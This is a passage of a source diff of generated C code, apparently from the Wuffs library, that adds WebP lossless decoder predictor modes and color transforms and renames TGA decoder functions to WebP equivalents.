-+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); -+ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); -+ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); -+ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 8u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); -+ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); -+ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); -+ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 9u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[4u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u))); -+ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[5u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u))); -+ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[6u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u))); -+ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[7u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 10u) { -+ v_l0 = ((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[0u]))) / 2u); -+ v_l1 = ((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[1u]))) / 2u); -+ v_l2 = ((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[2u]))) / 2u); -+ v_l3 = ((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[3u]))) / 2u); -+ v_t0 = ((((uint32_t)(v_prev_row.ptr[4u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u); -+ v_t1 = ((((uint32_t)(v_prev_row.ptr[5u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u); -+ v_t2 = ((((uint32_t)(v_prev_row.ptr[6u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u); -+ v_t3 = ((((uint32_t)(v_prev_row.ptr[7u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(((v_l0 + v_t0) / 2u))); -+ v_curr_row.ptr[5u] += ((uint8_t)(((v_l1 + v_t1) / 2u))); -+ v_curr_row.ptr[6u] += ((uint8_t)(((v_l2 + v_t2) / 2u))); -+ v_curr_row.ptr[7u] += ((uint8_t)(((v_l3 + v_t3) / 2u))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 11u) { -+ v_l0 = ((uint32_t)(v_curr_row.ptr[0u])); -+ v_l1 = ((uint32_t)(v_curr_row.ptr[1u])); -+ v_l2 = ((uint32_t)(v_curr_row.ptr[2u])); -+ v_l3 = ((uint32_t)(v_curr_row.ptr[3u])); -+ v_c0 = ((uint32_t)(v_prev_row.ptr[0u])); -+ v_c1 = ((uint32_t)(v_prev_row.ptr[1u])); -+ v_c2 = ((uint32_t)(v_prev_row.ptr[2u])); -+ v_c3 = ((uint32_t)(v_prev_row.ptr[3u])); -+ v_t0 = ((uint32_t)(v_prev_row.ptr[4u])); -+ v_t1 = ((uint32_t)(v_prev_row.ptr[5u])); -+ v_t2 = ((uint32_t)(v_prev_row.ptr[6u])); -+ v_t3 = ((uint32_t)(v_prev_row.ptr[7u])); -+ v_sum_l = (wuffs_webp__decoder__absolute_difference(self, v_c0, v_t0) + -+ wuffs_webp__decoder__absolute_difference(self, v_c1, v_t1) + -+ wuffs_webp__decoder__absolute_difference(self, v_c2, v_t2) + -+ wuffs_webp__decoder__absolute_difference(self, v_c3, v_t3)); -+ v_sum_t = (wuffs_webp__decoder__absolute_difference(self, v_c0, v_l0) + -+ wuffs_webp__decoder__absolute_difference(self, v_c1, v_l1) + -+ wuffs_webp__decoder__absolute_difference(self, v_c2, v_l2) + -+ wuffs_webp__decoder__absolute_difference(self, v_c3, v_l3)); -+ if (v_sum_l < v_sum_t) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(v_l0)); -+ v_curr_row.ptr[5u] += ((uint8_t)(v_l1)); -+ v_curr_row.ptr[6u] += ((uint8_t)(v_l2)); -+ v_curr_row.ptr[7u] += ((uint8_t)(v_l3)); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(v_t0)); -+ v_curr_row.ptr[5u] += ((uint8_t)(v_t1)); -+ v_curr_row.ptr[6u] += ((uint8_t)(v_t2)); -+ v_curr_row.ptr[7u] += ((uint8_t)(v_t3)); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ } else if (v_mode == 12u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[0u], v_prev_row.ptr[4u], v_prev_row.ptr[0u]); -+ v_curr_row.ptr[5u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[1u], v_prev_row.ptr[5u], v_prev_row.ptr[1u]); -+ v_curr_row.ptr[6u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[2u], v_prev_row.ptr[6u], v_prev_row.ptr[2u]); -+ v_curr_row.ptr[7u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[3u], v_prev_row.ptr[7u], v_prev_row.ptr[3u]); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 13u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[0u], v_prev_row.ptr[4u], v_prev_row.ptr[0u]); -+ v_curr_row.ptr[5u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[1u], v_prev_row.ptr[5u], v_prev_row.ptr[1u]); -+ v_curr_row.ptr[6u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[2u], v_prev_row.ptr[6u], v_prev_row.ptr[2u]); -+ v_curr_row.ptr[7u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[3u], v_prev_row.ptr[7u], v_prev_row.ptr[3u]); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ v_curr_row = wuffs_base__slice_u8__subslice_i(v_curr_row, 4u); -+ v_prev_row = wuffs_base__slice_u8__subslice_i(v_prev_row, 4u); -+ v_x += 1u; -+ } -+ v_y += 1u; -+ } -+ return wuffs_base__make_empty_struct(); -+} - --// ---------------- Private Function Prototypes -+// -------- func webp.decoder.absolute_difference - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_tga__decoder__do_decode_image_config( -- wuffs_tga__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -+static uint32_t -+wuffs_webp__decoder__absolute_difference( -+ const wuffs_webp__decoder* self, -+ uint32_t a_a, -+ uint32_t a_b) { -+ if (a_a < a_b) { -+ return (a_b - a_a); -+ } -+ return (a_a - a_b); -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_tga__decoder__do_decode_frame_config( -- wuffs_tga__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -+// -------- func webp.decoder.mode12 - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_tga__decoder__do_decode_frame( -- wuffs_tga__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -+static uint8_t -+wuffs_webp__decoder__mode12( -+ const wuffs_webp__decoder* self, -+ uint8_t a_l, -+ uint8_t a_t, -+ uint8_t a_tl) { -+ uint32_t v_v = 0; - --// ---------------- VTables -+ v_v = ((uint32_t)((((uint32_t)(a_l)) + ((uint32_t)(a_t))) - ((uint32_t)(a_tl)))); -+ if (v_v < 256u) { -+ return ((uint8_t)(v_v)); -+ } else if (v_v < 512u) { -+ return 255u; -+ } -+ return 0u; -+} - --const wuffs_base__image_decoder__func_ptrs --wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_tga__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_tga__decoder__frame_dirty_rect), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_tga__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_tga__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_tga__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_tga__decoder__restart_frame), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_tga__decoder__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_tga__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_tga__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_tga__decoder__workbuf_len), --}; -+// -------- func webp.decoder.mode13 - --// ---------------- Initializer Implementations -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_webp__decoder__mode13( -+ const wuffs_webp__decoder* self, -+ uint8_t a_l, -+ uint8_t a_t, -+ uint8_t a_tl) { -+ uint32_t v_x = 0; -+ uint32_t v_y = 0; -+ uint32_t v_z = 0; -+ uint32_t v_v = 0; - --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_tga__decoder__initialize( -- wuffs_tga__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ v_x = ((((uint32_t)(a_l)) + ((uint32_t)(a_t))) / 2u); -+ v_y = ((uint32_t)(a_tl)); -+ v_z = ((uint32_t)(v_x - v_y)); -+ v_v = ((uint32_t)(v_x + wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(v_z + (v_z >> 31u))), 1u))); -+ if (v_v < 256u) { -+ return ((uint8_t)(v_v)); -+ } else if (v_v < 512u) { -+ return 255u; - } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ return 0u; -+} -+ -+// -------- func webp.decoder.apply_transform_cross_color -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_cross_color( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix, -+ wuffs_base__slice_u8 a_tile_data) { -+ uint32_t v_tile_size_log2 = 0; -+ uint32_t v_tiles_per_row = 0; -+ uint32_t v_mask = 0; -+ uint32_t v_y = 0; -+ uint32_t v_x = 0; -+ uint64_t v_t = 0; -+ wuffs_base__slice_u8 v_tile_data = {0}; -+ uint32_t v_g2r = 0; -+ uint32_t v_g2b = 0; -+ uint32_t v_r2b = 0; -+ uint8_t v_b = 0; -+ uint8_t v_g = 0; -+ uint8_t v_r = 0; -+ -+ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[1u])); -+ v_tiles_per_row = ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); -+ v_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); -+ v_y = 0u; -+ while (v_y < self->private_impl.f_height) { -+ v_t = ((uint64_t)((4u * (v_y >> v_tile_size_log2) * v_tiles_per_row))); -+ v_tile_data = wuffs_base__utility__empty_slice_u8(); -+ if (v_t <= ((uint64_t)(a_tile_data.len))) { -+ v_tile_data = wuffs_base__slice_u8__subslice_i(a_tile_data, v_t); -+ } -+ v_x = 0u; -+ while (v_x < self->private_impl.f_width) { -+ if (((v_x & v_mask) == 0u) && (((uint64_t)(v_tile_data.len)) >= 4u)) { -+ v_g2r = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[0u]); -+ v_g2b = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[1u]); -+ v_r2b = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[2u]); -+ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); -+ } -+ if (((uint64_t)(a_pix.len)) >= 4u) { -+ v_b = a_pix.ptr[0u]; -+ v_g = a_pix.ptr[1u]; -+ v_r = a_pix.ptr[2u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_r += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_g) * v_g2r)) >> 5u))); -+ v_b += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_g) * v_g2b)) >> 5u))); -+ v_b += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_r) * v_r2b)) >> 5u))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ a_pix.ptr[0u] = v_b; -+ a_pix.ptr[2u] = v_r; -+ a_pix = wuffs_base__slice_u8__subslice_i(a_pix, 4u); -+ } -+ v_x += 1u; -+ } -+ v_y += 1u; - } -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func webp.decoder.apply_transform_subtract_green -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_subtract_green( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix) { -+ wuffs_base__slice_u8 v_p = {0}; -+ uint8_t v_g = 0; - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) -+ { -+ wuffs_base__slice_u8 i_slice_p = a_pix; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 4; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 4) * 4)); -+ while (v_p.ptr < i_end0_p) { -+ v_g = v_p.ptr[1u]; -+#if defined(__GNUC__) - #pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#pragma GCC diagnostic ignored "-Wconversion" - #endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -- } --#if !defined(__clang__) && defined(__GNUC__) -+ v_p.ptr[0u] += v_g; -+ v_p.ptr[2u] += v_g; -+#if defined(__GNUC__) - #pragma GCC diagnostic pop - #endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ v_p.ptr += 4; - } -+ v_p.len = 0; - } -- -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder); -- return wuffs_base__make_status(NULL); -+ return wuffs_base__make_empty_struct(); - } - --wuffs_tga__decoder* --wuffs_tga__decoder__alloc(void) { -- wuffs_tga__decoder* x = -- (wuffs_tga__decoder*)(calloc(sizeof(wuffs_tga__decoder), 1)); -- if (!x) { -- return NULL; -+// -------- func webp.decoder.apply_transform_color_indexing -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_color_indexing( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix) { -+ uint32_t v_tile_size_log2 = 0; -+ uint32_t v_bits_per_pixel = 0; -+ uint32_t v_x_mask = 0; -+ uint32_t v_s_mask = 0; -+ uint64_t v_src_index = 0; -+ uint32_t v_y = 0; -+ uint64_t v_di = 0; -+ uint64_t v_dj = 0; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint32_t v_x = 0; -+ uint32_t v_s = 0; -+ uint32_t v_p = 0; -+ uint8_t v_p0 = 0; -+ uint8_t v_p1 = 0; -+ uint8_t v_p2 = 0; -+ uint8_t v_p3 = 0; -+ -+ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[3u])); -+ if (v_tile_size_log2 == 0u) { -+ { -+ wuffs_base__slice_u8 i_slice_dst = a_pix; -+ v_dst.ptr = i_slice_dst.ptr; -+ v_dst.len = 4; -+ const uint8_t* i_end0_dst = wuffs_private_impl__ptr_u8_plus_len(v_dst.ptr, (((i_slice_dst.len - (size_t)(v_dst.ptr - i_slice_dst.ptr)) / 4) * 4)); -+ while (v_dst.ptr < i_end0_dst) { -+ v_p = (((uint32_t)(v_dst.ptr[1u])) * 4u); -+ v_p0 = self->private_data.f_palette[(v_p + 0u)]; -+ v_p1 = self->private_data.f_palette[(v_p + 1u)]; -+ v_p2 = self->private_data.f_palette[(v_p + 2u)]; -+ v_p3 = self->private_data.f_palette[(v_p + 3u)]; -+ v_dst.ptr[0u] = v_p0; -+ v_dst.ptr[1u] = v_p1; -+ v_dst.ptr[2u] = v_p2; -+ v_dst.ptr[3u] = v_p3; -+ v_dst.ptr += 4; -+ } -+ v_dst.len = 0; -+ } -+ return wuffs_base__make_empty_struct(); - } -- if (wuffs_tga__decoder__initialize( -- x, sizeof(wuffs_tga__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -+ v_bits_per_pixel = (((uint32_t)(8u)) >> v_tile_size_log2); -+ v_x_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); -+ v_s_mask = ((((uint32_t)(1u)) << v_bits_per_pixel) - 1u); -+ v_src_index = ((uint64_t)((self->private_impl.f_workbuf_offset_for_color_indexing + 1u))); -+ v_y = 0u; -+ while (v_y < self->private_impl.f_height) { -+ v_di = ((uint64_t)((4u * (v_y + 0u) * self->private_impl.f_width))); -+ v_dj = ((uint64_t)((4u * (v_y + 1u) * self->private_impl.f_width))); -+ if ((v_di > v_dj) || (v_dj > ((uint64_t)(a_pix.len)))) { -+ break; -+ } -+ v_dst = wuffs_base__slice_u8__subslice_ij(a_pix, v_di, v_dj); -+ v_x = 0u; -+ while (((uint64_t)(v_dst.len)) >= 4u) { -+ if (((v_x & v_x_mask) == 0u) && (v_src_index < ((uint64_t)(a_pix.len)))) { -+ v_s = ((uint32_t)(a_pix.ptr[v_src_index])); -+ v_src_index += 4u; -+ } -+ v_p = ((v_s & v_s_mask) * 4u); -+ v_s >>= v_bits_per_pixel; -+ v_p0 = self->private_data.f_palette[(v_p + 0u)]; -+ v_p1 = self->private_data.f_palette[(v_p + 1u)]; -+ v_p2 = self->private_data.f_palette[(v_p + 2u)]; -+ v_p3 = self->private_data.f_palette[(v_p + 3u)]; -+ v_dst.ptr[0u] = v_p0; -+ v_dst.ptr[1u] = v_p1; -+ v_dst.ptr[2u] = v_p2; -+ v_dst.ptr[3u] = v_p3; -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, 4u); -+ v_x += 1u; -+ } -+ v_y += 1u; - } -- return x; --} -- --size_t --sizeof__wuffs_tga__decoder(void) { -- return sizeof(wuffs_tga__decoder); -+ return wuffs_base__make_empty_struct(); - } - --// ---------------- Function Implementations -- --// -------- func tga.decoder.get_quirk -+// -------- func webp.decoder.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__get_quirk( -- const wuffs_tga__decoder* self, -+wuffs_webp__decoder__get_quirk( -+ const wuffs_webp__decoder* self, - uint32_t a_key) { - if (!self) { - return 0; -@@ -59162,12 +73627,12 @@ wuffs_tga__decoder__get_quirk( - return 0u; - } - --// -------- func tga.decoder.set_quirk -+// -------- func webp.decoder.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__set_quirk( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__set_quirk( -+ wuffs_webp__decoder* self, - uint32_t a_key, - uint64_t a_value) { - if (!self) { -@@ -59183,12 +73648,12 @@ wuffs_tga__decoder__set_quirk( - return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func tga.decoder.decode_image_config -+// -------- func webp.decoder.decode_image_config - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__decode_image_config( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__decode_image_config( -+ wuffs_webp__decoder* self, - wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { - if (!self) { -@@ -59214,17 +73679,17 @@ wuffs_tga__decoder__decode_image_config( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_image_config(self, a_dst, a_src); -+ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_image_config(self, a_dst, a_src); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); - goto exit; - } - status = v_status; -@@ -59232,13 +73697,13 @@ wuffs_tga__decoder__decode_image_config( - } - - ok: -- self->private_impl.p_decode_image_config[0] = 0; -+ self->private_impl.p_decode_image_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - - goto exit; -@@ -59249,19 +73714,19 @@ wuffs_tga__decoder__decode_image_config( - return status; - } - --// -------- func tga.decoder.do_decode_image_config -+// -------- func webp.decoder.do_decode_image_config - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_tga__decoder__do_decode_image_config( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__do_decode_image_config( -+ wuffs_webp__decoder* self, - wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_c = 0; -- uint32_t v_c5 = 0; -- uint32_t v_i = 0; -+ uint32_t v_c32 = 0; -+ uint64_t v_r_mark = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -59274,10 +73739,7 @@ wuffs_tga__decoder__do_decode_image_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_do_decode_image_config[0].v_i; -- } -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -@@ -59287,411 +73749,446 @@ wuffs_tga__decoder__do_decode_image_config( - } - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- self->private_impl.f_header_id_length = t_0; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- self->private_impl.f_header_color_map_type = t_1; -- } -- if (self->private_impl.f_header_color_map_type > 1u) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_header); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_2 = *iop_a_src++; -- self->private_impl.f_header_image_type = t_2; -- } -- if ((self->private_impl.f_header_image_type == 1u) || -- (self->private_impl.f_header_image_type == 2u) || -- (self->private_impl.f_header_image_type == 3u) || -- (self->private_impl.f_header_image_type == 9u) || -- (self->private_impl.f_header_image_type == 10u) || -- (self->private_impl.f_header_image_type == 11u)) { -- } else { -- status = wuffs_base__make_status(wuffs_tga__error__bad_header); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- uint16_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_3 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -- iop_a_src += 2; -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -- if (num_bits_3 == 8) { -- t_3 = ((uint16_t)(*scratch)); -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch)); - break; - } -- num_bits_3 += 8u; 